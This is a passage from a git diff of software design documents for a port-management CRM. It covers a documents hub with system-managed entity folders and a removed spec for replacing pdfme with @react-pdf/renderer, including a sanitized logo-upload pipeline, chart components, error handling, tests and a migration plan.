- `demoteSystemFolderOnEntityDelete(portId, entityType, entityId)` — flip `system_managed=false`, append `(deleted)` suffix
|
||||
- `src/lib/services/files.service.ts`
|
||||
- `listFilesInFolder(portId, folderId, opts)` — direct listing (folder_id match)
|
||||
- `listFilesAggregatedByEntity(portId, entityType, entityId, opts)` — owner-grouped projection
|
||||
- `applyEntityFkFromFolder(portId, folderId, fileInsert)` — used by upload endpoints (E8)
|
||||
- `src/lib/services/documents.service.ts`
|
||||
- `listInflightWorkflowsAggregatedByEntity(...)` — same projection for in-flight workflows
|
||||
- `src/lib/services/clients.service.ts` / `companies.service.ts` / `yachts.service.ts`
|
||||
- Add hooks to call `syncEntityFolderName` on rename, `applyEntityArchivedSuffix` on archive/restore, `demoteSystemFolderOnEntityDelete` on hard delete
|
||||
|
||||
### API routes
|
||||
|
||||
- `src/app/api/v1/files/route.ts` — accept `folderId` (direct) or `entityType + entityId` (aggregated) query params
|
||||
- `src/app/api/v1/documents/route.ts` — same; collapse `tab` enum to a `signingState` filter (in-flight only by default)
|
||||
- `src/app/api/v1/documents/hub-counts/route.ts` — reduce to in-flight count
|
||||
- `src/app/api/v1/documents/[id]/signing-details/route.ts` — **new** — returns workflow + signers + events for the dialog
|
||||
- `src/app/api/webhooks/documenso/route.ts` (`handleDocumentCompleted`) — extend with owner-resolve + ensure-folder + set-FK steps
|
||||
|
||||
### UI components
|
||||
|
||||
- `src/components/documents/documents-hub.tsx` — major rebuild: stacked Signing/Files sections, owner-grouped headers, system-folder integration. Drop the signing-status tabs.
|
||||
- `src/components/documents/folder-tree.tsx` — render 🔒 marker for `system_managed`; suppress rename/move/delete in `FolderActionsMenu` for system rows
|
||||
- `src/components/documents/aggregated-section.tsx` — **new** — renders a Signing or Files section grouped by owner-source with per-group pagination
|
||||
- `src/components/documents/signing-details-dialog.tsx` — **new** — modal for "view signing details"
|
||||
- `src/app/(dashboard)/[portSlug]/documents/files/page.tsx` — **deleted**, replaced by 301 redirect in `next.config.mjs`
|
||||
- `src/components/files/folder-tree.tsx` and the legacy `storagePath`-prefix logic — **deleted**
|
||||
|
||||
### Stores / hooks
|
||||
|
||||
- `src/stores/file-browser-store.ts` — repurposed to drive the unified hub state (currentFolder, viewMode); the legacy storagePath-keyed currentFolder semantics are replaced with `document_folders.id` references
|
||||
|
||||
## Testing strategy
|
||||
|
||||
### Unit (vitest)
|
||||
|
||||
- `document-folders.service.test.ts`: extend with system-folder tests — `ensureEntityFolder` idempotency, `syncEntityFolderName` collision (numeric suffix), `applyEntityArchivedSuffix` round-trip, `demoteSystemFolderOnEntityDelete` flips `system_managed`.
|
||||
- `files.service.aggregated.test.ts`: aggregation projection — symmetric walk, defense-in-depth port_id, per-group pagination, file-FK-as-source-of-truth (yacht transfer scenario).
|
||||
- `documents-completion.handler.test.ts`: `handleDocumentCompleted` with each owner-resolution branch (client direct, company direct, yacht direct, via interest, no owner).
|
||||
|
||||
### Integration (vitest + real Postgres)
|
||||
|
||||
- `documents-hub-system-folders.integration.test.ts`: API-level — listing aggregated, system folder protection (rename/move/delete return 4xx), entity rename round-trips, archive/delete lifecycle.
|
||||
- `backfill-document-folders.integration.test.ts`: backfill script idempotency, multi-port isolation, legacy file FK propagation from completed workflows.
|
||||
|
||||
### E2E (Playwright)
|
||||
|
||||
- `documents-hub-aggregated.smoke.spec.ts`: open client folder → see grouped Signing + Files → open signing-details dialog → close.
|
||||
- `documents-hub-upload-into-entity-folder.smoke.spec.ts`: upload PDF into Clients/Smith/ → verify `client_id` auto-set → verify file appears in entity folder.
|
||||
- `documents-hub-completion-auto-deposit.realapi.spec.ts`: round-trip Documenso completion → verify signed PDF lands in owner's entity folder. (Joins the existing realapi project.)
|
||||
|
||||
### Visual
|
||||
|
||||
- Regenerate baselines for `/[port]/documents` (root view) and `/[port]/documents` with a folder selected. Snapshot key: hub-root, hub-entity-folder.
|
||||
|
||||
## Risks and mitigations
|
||||
|
||||
| Risk | Mitigation |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Aggregation queries slow on large portfolios (5k+ files per client) | Per-group pagination caps render cost; supporting indexes on `files(port_id, client_id)`, `files(port_id, company_id)`, `files(port_id, yacht_id)` already exist; new `files(folder_id)` and `files(port_id, folder_id)` cover folder filtering |
|
||||
| Backfill migration locks production for too long | Per-port advisory lock; backfill batched in chunks of 1000 file rows per transaction; safe to re-run if interrupted |
|
||||
| System-folder protection bypass via direct DB write | Application-level enforcement; we accept that direct DB writes can bypass (no DB constraint enforces "you can't update system_managed=true rows"). Audit log entries on folder ops surface anomalies |
|
||||
| Hard cutover means broken hub if backfill fails | Backfill is idempotent and runs _before_ code rollout; if backfill fails, the new hub still renders (just with sparse folders); rollback = revert the migration + redeploy old hub binary |
|
||||
| Rep confused by "view signing details" link disappearing for non-Documenso signed files (e.g., manually uploaded "already signed" PDFs via /upload-signed) | The link shows only when `signed_file_id` traces to a `documents` row; manually-uploaded "signed" PDFs that bypass the workflow won't have the link, which is correct — there's nothing to show |
|
||||
|
||||
## Open questions deferred to plan
|
||||
|
||||
- Whether to add a "Signing status" filter chip strip inside the Signing section (the deferred replacement for `awaiting_them`/`awaiting_me` tabs). Default: defer; add if rep feedback asks for it.
|
||||
- Whether `Signing section in entity folders` should also surface workflows whose `interest_id` resolves to the entity (not just direct entity FK match). Default: yes, via the same Owner-wins resolution chain — codify in the projection helper.
|
||||
@@ -1,491 +0,0 @@
|
||||
# PDF Stack Overhaul — Design
|
||||
|
||||
**Date:** 2026-05-12
|
||||
**Branch:** `feat/documents-folders`
|
||||
**Status:** Design approved; pending user review of spec; implementation planned via writing-plans skill.
|
||||
|
||||
## Goal
|
||||
|
||||
Replace `pdfme` (3 deps, 8 hand-coded coordinate templates, 571-line TipTap-to-pdfme bridge) with `@react-pdf/renderer` (JSX components, real layout primitives). Add `unpdf` for berth-PDF tier-2 rasterization. Add port-level logo upload with quality safeguards. Migrate only the internal-only PDF surfaces; remove invoice and admin-TipTap PDF generation entirely (they violate the new "no client-facing CRM-generated PDFs" rule).
|
||||
|
||||
## Scope (locked)
|
||||
|
||||
### KEEP & migrate to `@react-pdf/renderer` (internal-only)
|
||||
|
||||
| Surface | Current location | Caller |
|
||||
| ----------------------- | --------------------------------------------------------------------------------------------------- | ------------------------------------- |
|
||||
| Activity report | `src/lib/pdf/templates/reports/activity-report.ts` | `src/lib/services/reports.service.ts` |
|
||||
| Revenue report | `src/lib/pdf/templates/reports/revenue-report.ts` | same |
|
||||
| Pipeline report | `src/lib/pdf/templates/reports/pipeline-report.ts` | same |
|
||||
| Occupancy report | `src/lib/pdf/templates/reports/occupancy-report.ts` | same |
|
||||
| Client summary export | `src/lib/pdf/templates/client-summary-template.ts` | `src/lib/services/record-export.ts` |
|
||||
| Berth spec export | `src/lib/pdf/templates/berth-spec-template.ts` | same |
|
||||
| Interest summary export | `src/lib/pdf/templates/interest-summary-template.ts` | same |
|
||||
| Expense sheet | `src/lib/services/expense-pdf.service.ts` (currently uses pdfme indirectly via `expense-export.ts`) | same |
|
||||
|
||||
### REMOVE entirely
|
||||
|
||||
| Removal | Reason |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| `src/lib/pdf/templates/invoice-template.ts` + `generatePdf` call in `invoices.ts:604` + API route `/api/v1/invoices/[id]/generate-pdf` | Invoices are client-facing; no CRM-generated client-facing PDFs. Future invoice rendering will use the deferred AcroForm-fill admin-template feature. |
|
||||
| `src/lib/pdf/tiptap-to-pdfme.ts` (571 lines) + API route `/api/v1/admin/templates/preview` + `generatePdf` block in `document-templates.ts:516` | TipTap document templates are Documenso seed bodies; CRM does not render them to PDF anymore. |
|
||||
| `src/lib/pdf/templates/eoi-standard-inapp.ts` (337 lines, HTML seed) + seed-data references | Only used as the seed `bodyHtml` text on a `document_templates` row. The in-app EOI is rendered by `fill-eoi-form.ts` (pdf-lib), not from this HTML. Safe to drop. |
|
||||
| `src/lib/pdf/generate.ts` (24 lines) | Pdfme wrapper; replaced by `src/lib/pdf/render.ts`. |
|
||||
| Deps: `@pdfme/common`, `@pdfme/generator`, `@pdfme/schemas` | Replaced by `@react-pdf/renderer`. |
|
||||
|
||||
### STAYS UNTOUCHED
|
||||
|
||||
- `src/lib/pdf/fill-eoi-form.ts` (pdf-lib AcroForm fill on `assets/eoi-template.pdf`) — the in-app EOI pathway.
|
||||
- `src/lib/services/berth-pdf-parser.ts` tier-1 (pdf-lib AcroForm read) and tier-3 (AI fallback). Tier-2 (Tesseract OCR) gets `unpdf` for PDF→image rasterization.
|
||||
- `pdf-lib` dep (still needed by `fill-eoi-form.ts` and `berth-pdf-parser.ts`).
|
||||
- All Documenso integration code.
|
||||
|
||||
## Architecture
|
||||
|
||||
Three orthogonal PDF paths post-migration, each with a single owner:
|
||||
|
||||
```
|
||||
┌──────────────────────────┐ ┌──────────────────────────┐ ┌────────────────────────┐
|
||||
│ react-pdf (this phase) │ │ pdf-lib AcroForm fill │ │ Documenso (external) │
|
||||
│ Internal only │ │ Standardized + signing │ │ Client-facing signed │
|
||||
│ │ │ │ │ docs │
|
||||
│ • Reports (×4) │ │ • In-app EOI │ │ │
|
||||
│ • Expenses │ │ • Future admin-upload │ │ (handled outside our │
|
||||
│ • Record exports (×3) │ │ invoice templates │ │ system) │
|
||||
│ • Future internal lists │ │ (deferred) │ │ │
|
||||
└────────────┬─────────────┘ └────────────┬─────────────┘ └────────────────────────┘
|
||||
│ │
|
||||
▼ ▼
|
||||
src/lib/pdf/render.ts src/lib/pdf/fill-eoi-form.ts
|
||||
(renderToBuffer + (unchanged this phase)
|
||||
renderToStream)
|
||||
│
|
||||
▼
|
||||
src/lib/pdf/brand-kit/
|
||||
├─ DocumentShell.tsx
|
||||
├─ Header.tsx
|
||||
├─ Footer.tsx
|
||||
├─ DataTable.tsx
|
||||
├─ KeyValueGrid.tsx
|
||||
├─ Section.tsx
|
||||
├─ Badge.tsx
|
||||
├─ charts/{Bar,Line,Pie,Funnel}Chart.tsx
|
||||
├─ tokens.ts
|
||||
└─ logo.ts
|
||||
```
|
||||
|
||||
### Module boundaries
|
||||
|
||||
- **`brand-kit/`** — pure presentation primitives. No DB access, no CRM domain knowledge. Each component has typed props and renders react-pdf elements.
|
||||
- **`templates/`** — one `.tsx` per document type. Imports brand-kit primitives + receives typed data props. No DB access; data fetching stays in the calling service.
|
||||
- **`render.ts`** — the only module that touches `@react-pdf/renderer`'s `renderToBuffer` / `renderToStream`. Services call `renderPdf(<MyTemplate {...data} />)` or `renderPdfStream(<MyTemplate {...data} />)`.
|
||||
- **`logo.ts`** — `resolvePortLogo(portId)` reads `system_settings.port_logo_file_id` and returns `{ source, buffer, mimeType }`. Cached per request via React `cache()`.
|
||||
- **Chart rendering** — pure SVG components emitting react-pdf's native `<Svg>` primitive. No JSDOM, no headless Chrome, no canvas. Server-rendered like any other PDF component.
|
||||
- **Photo embedding** (expense PDFs) — `sharp` (existing dep) compresses each receipt to ~150KB JPEG before embed. Stream-renders pages so memory stays bounded with hundreds of entries.
|
||||
|
||||
### Header layout constraint
|
||||
|
||||
The brand-kit `<Header>` reserves a fixed logo slot:
|
||||
|
||||
```
|
||||
maxWidth: 200 (≈ 56mm)
|
||||
maxHeight: 60 (≈ 17mm)
|
||||
objectFit: contain // letterbox, never stretch
|
||||
align: left, vertically centered within the dark header band
|
||||
fallback: when resolvePortLogo returns 'fallback', render <Text style={bold}>{port.name}</Text>
|
||||
at the same slot. The port-name + doc-title combination keeps the header visually balanced.
|
||||
```
|
||||
|
||||
This is enforced inside `<Header>`, not at upload time, so the upload pipeline can accept any 200-1200px logo and trust the layout to letterbox correctly.
|
||||
|
||||
### Brand kit tokens
|
||||
|
||||
```ts
|
||||
// src/lib/pdf/brand-kit/tokens.ts
|
||||
export const PDF_TOKENS = {
|
||||
colors: {
|
||||
text: '#111111',
|
||||
textMuted: '#666666',
|
||||
border: '#e5e7eb',
|
||||
headerBand: '#0f172a', // dark slate — matches CRM sidebar
|
||||
headerText: '#ffffff',
|
||||
accentBlue: '#1d4ed8',
|
||||
zebra: '#f9fafb',
|
||||
success: '#16a34a',
|
||||
warning: '#d97706',
|
||||
danger: '#dc2626',
|
||||
},
|
||||
fonts: {
|
||||
sans: 'Helvetica',
|
||||
sansBold: 'Helvetica-Bold',
|
||||
mono: 'Courier',
|
||||
},
|
||||
sizes: {
|
||||
docTitle: 18,
|
||||
sectionH: 13,
|
||||
body: 10,
|
||||
small: 8,
|
||||
caption: 7,
|
||||
},
|
||||
spacing: {
|
||||
pagePadding: 36,
|
||||
sectionGap: 18,
|
||||
rowGap: 6,
|
||||
},
|
||||
} as const;
|
||||
```
|
||||
|
||||
Single source of truth. Future design pass = edit this file, every PDF updates.
|
||||
|
||||
## Logo handling
|
||||
|
||||
### Layer 1 — Server-side sharp normalization (required)
|
||||
|
||||
```
|
||||
upload → magic-byte check via sharp metadata (PNG | JPEG | WEBP | SVG | HEIC | HEIF | AVIF)
|
||||
→ reject animated GIF / multi-frame PNG / multi-page TIFF
|
||||
→ size cap 5MB raw
|
||||
→ if SVG:
|
||||
sanitize first via svgo (strip <script>, on*=, <foreignObject>, external href)
|
||||
reject if sanitization removed dangerous nodes
|
||||
rasterize to PNG via sharp(buf, { density: 300 }) // 300 DPI from vector
|
||||
→ standard pipeline:
|
||||
sharp(buf)
|
||||
.extract({ left: cropX, top: cropY, width: cropW, height: cropH }) ← from client crop
|
||||
.trim({ threshold: 10 })
|
||||
.resize({ width: 1200, height: 1200, fit: 'inside', withoutEnlargement: true })
|
||||
.toColorspace('srgb')
|
||||
.removeAlpha()-if-jpeg-source-and-near-white
|
||||
.png({ compressionLevel: 9, palette: true }) ← palette where possible for smaller files
|
||||
.toBuffer()
|
||||
→ reject if final > 1MB
|
||||
→ reject if min dimension after trim < 200px
|
||||
→ store via getStorageBackend().put()
|
||||
→ set system_settings.port_logo_file_id = files.id (atomic upsert)
|
||||
→ soft-archive previous logo's files row (archivedAt = now)
|
||||
→ write audit_logs entry: action=branding.logo.uploaded, by=user.id
|
||||
→ collect warnings: [trimmed, resized, noAlpha, jpegSource, svgRasterized, heicConverted]
|
||||
```
|
||||
|
||||
**Why rasterize SVGs to PNG at upload time:** react-pdf's `<Svg>` primitive supports a subset of SVG (Path, Rect, Circle, Line, Text, gradients, clip-paths) but not filters, animations, embedded fonts, or all the quirks of a designer-exported SVG. Sharp rasterizes via librsvg at 300 DPI on upload, eliminating runtime surprises. Single PNG to embed at render time. The vector source is captured-in-time; if the admin later needs higher resolution, they re-upload.
|
||||
|
||||
**Why HEIC/AVIF support:** iPhone photo exports default to HEIC; common admin pain point. Sharp handles both natively via libheif; converts to PNG in the pipeline. Less common but worth supporting.
|
||||
|
||||
### Layer 2 — Live upload UI
|
||||
|
||||
Admin opens **Port Settings → Branding → Logo**. The dialog shows:
|
||||
|
||||
1. **Rules above the dropzone:**
|
||||
- Use PNG or SVG with a transparent background
|
||||
- Minimum 200×200px; recommended 600×200px (wide) or 400×400px (square)
|
||||
- Max 5MB; we'll auto-trim and optimize
|
||||
- Avoid JPEGs unless the background is solid white
|
||||
|
||||
2. **`react-image-crop` cropper** with aspect-ratio toggle (Wide 3:1 / Square 1:1 / Freeform).
|
||||
|
||||
3. **Live HTML preview** rendering the actual brand-kit `<Header>` React component beside the cropper, with the user's logo. Two preview swatches: dark header band (where the logo actually appears) and a colored background (to spot the "white box" problem with non-transparent JPEGs).
|
||||
|
||||
4. **Post-upload warnings** displayed in the preview:
|
||||
- "JPEG with no alpha channel — white background will show on dark headers"
|
||||
- "Logo trimmed to remove whitespace borders"
|
||||
- "Resized from 4000×4000 to 1200×1200"
|
||||
|
||||
5. **"Test with sample PDF" button** — hits a sample-PDF endpoint that renders a minimal report header and streams it back. Browser opens in a new tab.
|
||||
|
||||
### Layer 3 — `react-image-crop` integration
|
||||
|
||||
Client renders the original image inside `react-image-crop` with a constrained aspect ratio. On save:
|
||||
|
||||
1. Client sends `multipart/form-data` with `file` + `{ cropX, cropY, cropW, cropH }` JSON sidecar.
|
||||
2. Server runs the sharp pipeline above with the crop applied as the first step.
|
||||
|
||||
This keeps sharp as the single source of truth (no canvas-tainted-CORS issues client-side; the actual crop happens server-side using the user-provided coordinates).
|
||||
|
||||
### Storage path
|
||||
|
||||
Logos use the existing pluggable storage backend (`src/lib/storage/`). Object key shape:
|
||||
|
||||
```
|
||||
ports/{portId}/branding/logo-{uuid}.png
|
||||
```
|
||||
|
||||
The same backend currently serves brochures, berth PDFs, gdpr exports, etc. — `s3` for prod, `filesystem` for single-node dev. Logos inherit whatever's configured; no special routing. Trivial-image-inline-in-DB would save one S3 round-trip per PDF render but break consistency with every other file artifact; not worth it.
|
||||
|
||||
### Permission gating
|
||||
|
||||
The upload endpoint is wrapped with `withAuth(withPermission('port_settings', 'manage', …))` (same gate currently used for brochures admin, send-from accounts, etc.). Audit trail goes to `audit_logs` (`action: branding.logo.uploaded`, `entityType: port`, `entityId: portId`). Soft-archive of the prior logo file row is logged as `branding.logo.archived`.
|
||||
|
||||
### Resolution at render time
|
||||
|
||||
```ts
|
||||
// src/lib/pdf/brand-kit/logo.ts
|
||||
export const resolvePortLogo = cache(
|
||||
async (
|
||||
portId: string,
|
||||
): Promise<{
|
||||
source: 'logo' | 'fallback';
|
||||
buffer: Buffer | null;
|
||||
mimeType: 'image/png' | 'image/svg+xml' | null;
|
||||
}> => {
|
||||
const setting = await getSystemSetting(portId, 'port_logo_file_id');
|
||||
if (!setting) return { source: 'fallback', buffer: null, mimeType: null };
|
||||
const file = await db.query.files.findFirst({ where: eq(files.id, setting) });
|
||||
if (!file || file.archivedAt) return { source: 'fallback', buffer: null, mimeType: null };
|
||||
const backend = await getStorageBackend();
|
||||
const buffer = await backend.get(file.storageKey);
|
||||
return { source: 'logo', buffer, mimeType: file.mimeType as 'image/png' | 'image/svg+xml' };
|
||||
},
|
||||
);
|
||||
```
|
||||
|
||||
Brand-kit `<DocumentShell>` internally calls this and passes the buffer down through context. Every template that wraps in `<DocumentShell port={port}>...</DocumentShell>` gets the logo automatically. No per-template wiring. When no logo is set, the header renders the port name as bold text instead.
|
||||
|
||||
## Per-template designs
|
||||
|
||||
### Reports — shared shell
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────────────────────┐
|
||||
│ [LOGO] PORT NAME REPORT TITLE │
|
||||
│ generated 2026-05-12 18:44 Date-range badge │
|
||||
├──────────────────────────────────────────────────────────────────┤
|
||||
│ Summary cards (3-4 KPI stat boxes) │
|
||||
│ ┌──────┬──────┬──────┐ │
|
||||
│ │
|
||||
│ ◌ CHART (full-width SVG) │
|
||||
│ │
|
||||
│ Detail Table (zebra rows, columns vary per report) │
|
||||
├──────────────────────────────────────────────────────────────────┤
|
||||
│ Port Name · Confidential · Page 1 of 3 · Generated … │
|
||||
└──────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
| Report | Summary stat cards | Chart | Detail table columns |
|
||||
| --------- | ---------------------------------------------------- | ---------------------------------------------------------------- | --------------------------------------------------------- |
|
||||
| Activity | total events, top action, top user, busiest day | Stacked bar — events per day by action | date · action · entity type · entity · user |
|
||||
| Revenue | total revenue, paid, outstanding, avg invoice | Line — revenue per month + small pie paid/outstanding | invoice # · client · issued · due · amount · status |
|
||||
| Pipeline | total interests, win rate, avg cycle days, top stage | Funnel — count per stage | interest · client · stage · lead category · days in stage |
|
||||
| Occupancy | total berths, occupied %, available %, under-offer % | Time-series — occupancy % over period + small pie current status | berth # · status · current interest · last change |
|
||||
|
||||
### Expense PDF
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────────────────────┐
|
||||
│ [LOGO] PORT NAME — Expense Sheet │
|
||||
│ Period: 2026-04-01 → 2026-04-30 · 247 entries │
|
||||
├──────────────────────────────────────────────────────────────────┤
|
||||
│ Summary cards: total · by category · by status │
|
||||
├──────────────────────────────────────────────────────────────────┤
|
||||
│ Expense entries (one row per entry, multi-page) │
|
||||
│ ┌──┬──────────┬──────────┬────────┬─────────┬─────────┐ │
|
||||
│ │# │ Date │ Category │ Vendor │ Amount │ Receipt │ │
|
||||
│ │ │ Notes: <inline notes line, optional> │ │
|
||||
│ │ │ [receipt photo, max 200×200, ~150KB JPEG] │ │
|
||||
│ └──┴──────────┴──────────┴────────┴─────────┴─────────┘ │
|
||||
│ Page break inserted between entries when remaining vertical │
|
||||
│ space < 200px (no orphan partial rows) │
|
||||
├──────────────────────────────────────────────────────────────────┤
|
||||
│ Page 1 of 47 · Total: $48,232 · 247 entries │
|
||||
└──────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Critical: **stream-render via `renderToStream`** because 247 entries × ~150KB photos = 37MB peak memory if all loaded at once. Stream renders one page at a time, freeing buffers as it goes. Each photo passes through `sharp.resize(800, 800, { fit: 'inside' }).jpeg({ quality: 70 })` once and is cached for the lifetime of the request.
|
||||
|
||||
### Record exports
|
||||
|
||||
- **Client Summary** — brand shell + key/value grid for client info + table for yachts + table for interests + activity timeline at bottom.
|
||||
- **Berth Spec** — brand shell + two-column key/value grid (info / dimensions / pricing / tenure) + infrastructure table + waiting-list table + maintenance-log table.
|
||||
- **Interest Summary** — brand shell + stage badge in header + key/value grids for client/yacht/berth + notes block + activity timeline.
|
||||
|
||||
## Data flow
|
||||
|
||||
### Caller migration pattern
|
||||
|
||||
Before:
|
||||
|
||||
```ts
|
||||
import { generatePdf } from '@/lib/pdf/generate';
|
||||
import {
|
||||
activityReportTemplate,
|
||||
buildActivityInputs,
|
||||
} from '@/lib/pdf/templates/reports/activity-report';
|
||||
const inputs = buildActivityInputs(data, port.name);
|
||||
const pdfBytes = await generatePdf(activityReportTemplate, inputs);
|
||||
```
|
||||
|
||||
After:
|
||||
|
||||
```ts
|
||||
import { renderPdf } from '@/lib/pdf/render';
|
||||
import { ActivityReportPdf } from '@/lib/pdf/templates/reports/activity-report';
|
||||
const pdfBytes = await renderPdf(<ActivityReportPdf port={port} data={data} />);
|
||||
```
|
||||
|
||||
### Render module
|
||||
|
||||
```ts
|
||||
// src/lib/pdf/render.ts
|
||||
import { renderToBuffer, renderToStream } from '@react-pdf/renderer';
|
||||
import type { ReactElement } from 'react';
|
||||
import { logger } from '@/lib/logger';
|
||||
|
||||
export async function renderPdf(element: ReactElement): Promise<Buffer> {
|
||||
try {
|
||||
return await renderToBuffer(element);
|
||||
} catch (err) {
|
||||
logger.error({ err }, 'PDF render failed');
|
||||
throw new Error('Failed to render PDF');
|
||||
}
|
||||
}
|
||||
|
||||
export async function renderPdfStream(element: ReactElement): Promise<NodeJS.ReadableStream> {
|
||||
return renderToStream(element);
|
||||
}
|
||||
```
|
||||
|
||||
### Chart rendering (sketch)
|
||||
|
||||
```tsx
|
||||
// src/lib/pdf/brand-kit/charts/BarChart.tsx
|
||||
import { Svg, Line, Rect, Text as SvgText } from '@react-pdf/renderer';
|
||||
import { PDF_TOKENS } from '../tokens';
|
||||
|
||||
export function BarChart({
|
||||
data,
|
||||
width = 480,
|
||||
height = 200,
|
||||
color = PDF_TOKENS.colors.accentBlue,
|
||||
}) {
|
||||
const max = Math.max(...data.map((d) => d.value));
|
||||
const barW = (width - 60) / data.length;
|
||||
return (
|
||||
<Svg width={width} height={height}>
|
||||
<Line
|
||||
x1={40}
|
||||
y1={20}
|
||||
x2={40}
|
||||
y2={height - 30}
|
||||
strokeWidth={1}
|
||||
stroke={PDF_TOKENS.colors.border}
|
||||
/>
|
||||
<Line
|
||||
x1={40}
|
||||
y1={height - 30}
|
||||
x2={width - 10}
|
||||
y2={height - 30}
|
||||
strokeWidth={1}
|
||||
stroke={PDF_TOKENS.colors.border}
|
||||
/>
|
||||
{data.map((d, i) => {
|
||||
const h = (d.value / max) * (height - 60);
|
||||
return (
|
||||
<Rect
|
||||
key={i}
|
||||
x={50 + i * barW}
|
||||
y={height - 30 - h}
|
||||
width={barW - 4}
|
||||
height={h}
|
||||
fill={color}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
{data.map((d, i) => (
|
||||
<SvgText
|
||||
key={i}
|
||||
x={50 + i * barW + (barW - 4) / 2}
|
||||
y={height - 14}
|
||||
textAnchor="middle"
|
||||
fontSize={7}
|
||||
>
|
||||
{d.label}
|
||||
</SvgText>
|
||||
))}
|
||||
</Svg>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
Same pattern for LineChart / PieChart / FunnelChart. ~60-100 lines each.
|
||||
|
||||
## Error handling
|
||||
|
||||
| Failure mode | Detection | Surface |
|
||||
| -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Logo file missing at render time | `resolvePortLogo` returns `source: 'fallback'` | Header renders port-name text only; structured log warning. |
|
||||
| Logo file corrupt | `sharp` throws on load | 500 via `errorResponse(InternalError)`; structured log; admin sees "Logo file is unreadable, please re-upload." |
|
||||
| Chart data empty | Component prop validation in template | Render "No data for selected period" placeholder; no crash. |
|
||||
| Receipt photo missing (expense PDF) | Storage backend `get` throws | Skip photo for that entry; render "Receipt unavailable" placeholder text; continue; collect into `warnings[]` and log. |
|
||||
| Receipt photo unprocessable by sharp | `sharp` throws on resize | Same as above. |
|
||||
| Stream-render aborted mid-page | `renderToStream` rejects | Caller drains stream into try/catch; surface `errorResponse(error)`; partial bytes not stored. |
|
||||
| OOM on huge expense PDF | Heap monitor | Stream-render keeps peak bounded; cap entries at 1000 per PDF; prompt admin to split into multiple periods. |
|
||||
| Sharp pipeline rejects upload | Specific error code | 422 `ValidationError` with the rejection reason ("file > 5MB", "dimension < 200px", "unsupported format: GIF animated"). |
|
||||
| SVG with embedded JS or external href | `svgo` strips scripts; post-sanitize node-count check | Reject with `ValidationError('SVG contained disallowed nodes')`. |
|
||||
| Concurrent logo uploads (admin clicks save twice / two browser tabs) | Last-writer-wins via atomic `system_settings` upsert | Both `files` rows persist; only newer is pointed at. Soft-archive doesn't race because it operates on the OLD setting's file_id captured before the upsert. |
|
||||
| Mid-render logo upload | `resolvePortLogo` reads at render-start | In-flight PDF uses whichever logo was current when the request entered. Next request gets the new one. No mid-PDF logo swap. |
|
||||
| Logo dimensions wildly off the header aspect ratio | Brand-kit `<Header>` constrains logo to `maxWidth: 200, maxHeight: 60` with `objectFit: contain` | Logo letterboxes inside its slot; never distorts. |
|
||||
| Cropper coords out of bounds | Server-side validation against image metadata before sharp extract | 422 `ValidationError('Crop coordinates out of image bounds')`. |
|
||||
| File mime header lies (claims PNG, bytes are HTML) | Sharp's `metadata()` reads actual magic bytes, ignores declared mime | Sharp throws → 422 `ValidationError('File contents do not match a supported image format')`. |
|
||||
| Storage backend `put` fails (network glitch) | Catch around `backend.put` | Roll back: do not insert files row, do not change system_settings; return 503 with retry hint. |
|
||||
| `port_logo_file_id` setting points at archived/deleted file | `resolvePortLogo` checks `archivedAt` | Treat as missing; fall back to text header; structured log warning so ops notices. |
|
||||
|
||||
## Testing
|
||||
|
||||
### Unit (vitest)
|
||||
|
||||
- `brand-kit/charts/*.test.tsx` — snapshot SVG output for known inputs.
|
||||
- `brand-kit/logo.test.ts` — `resolvePortLogo` with fixtures for: configured / missing / archived / corrupt.
|
||||
- `pdf/render.test.ts` — round-trip a tiny `<Page>` and verify the output starts with `%PDF-`.
|
||||
- `services/logo-upload.test.ts` — sharp pipeline for: PNG-with-alpha (passes) / JPEG (warning) / undersized (rejects) / oversized (resizes) / SVG (passthrough) / animated GIF (rejects) / SVG with script tag (rejects).
|
||||
|
||||
### Integration (vitest)
|
||||
|
||||
- Each template renders to bytes without throwing, given representative fixtures from seed data.
|
||||
- `reports.service.test.ts` — generate each of the 4 reports for a seeded port; assert PDF magic byte + non-zero length.
|
||||
- `record-export.test.ts` — generate client / berth / interest summaries for seeded entities.
|
||||
- `expense-export.test.ts` — generate expense PDF for 250 seeded entries; assert pages > 5; assert peak heap delta < 200MB (proxy for stream-render working).
|
||||
|
||||
### Playwright (smoke)
|
||||
|
||||
- New spec: `branding-logo-upload.spec.ts` — upload PNG, see preview, save, generate sample PDF, assert PDF downloads.
|
||||
- New spec: `reports-pdf-export.spec.ts` — for each of the 4 reports, click export, assert PDF downloads.
|
||||
- Existing specs: anywhere clicking "export PDF" was tied to pdfme, update assertion.
|
||||
|
||||
### Visual regression (existing visual project)
|
||||
|
||||
- 4 new baselines (one per report) using seed port's logo.
|
||||
- 3 new baselines (client / berth / interest summary).
|
||||
- 1 new baseline (expense PDF, first 2 pages).
|
||||
- Snapshots stored as PNG (rendered from PDF via first-page extraction).
|
||||
|
||||
## Migration sequence
|
||||
|
||||
| # | Commit | Files touched | Verifies |
|
||||
| --- | ------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- |
|
||||
| 1 | Foundation: install deps + brand kit | +`@react-pdf/renderer`, +`unpdf`, +`react-image-crop`, +`svgo`; new `src/lib/pdf/brand-kit/*`, `src/lib/pdf/render.ts` | brand kit unit tests pass; nothing wired yet |
|
||||
| 2 | Logo upload feature | new `src/lib/services/logo.service.ts`, `src/app/api/v1/admin/branding/logo/*`, admin UI in port settings, `system_settings.port_logo_file_id` key | upload + preview + sample-PDF test work in dev |
|
||||
| 3 | Migrate activity report | port `activity-report.ts` → `activity-report.tsx`; rewire `reports.service.ts` caller; visual baseline | report exports work; visual diff approved |
|
||||
| 4 | Migrate revenue report | same shape | same |
|
||||
| 5 | Migrate pipeline report | same shape | same |
|
||||
| 6 | Migrate occupancy report | same shape | same |
|
||||
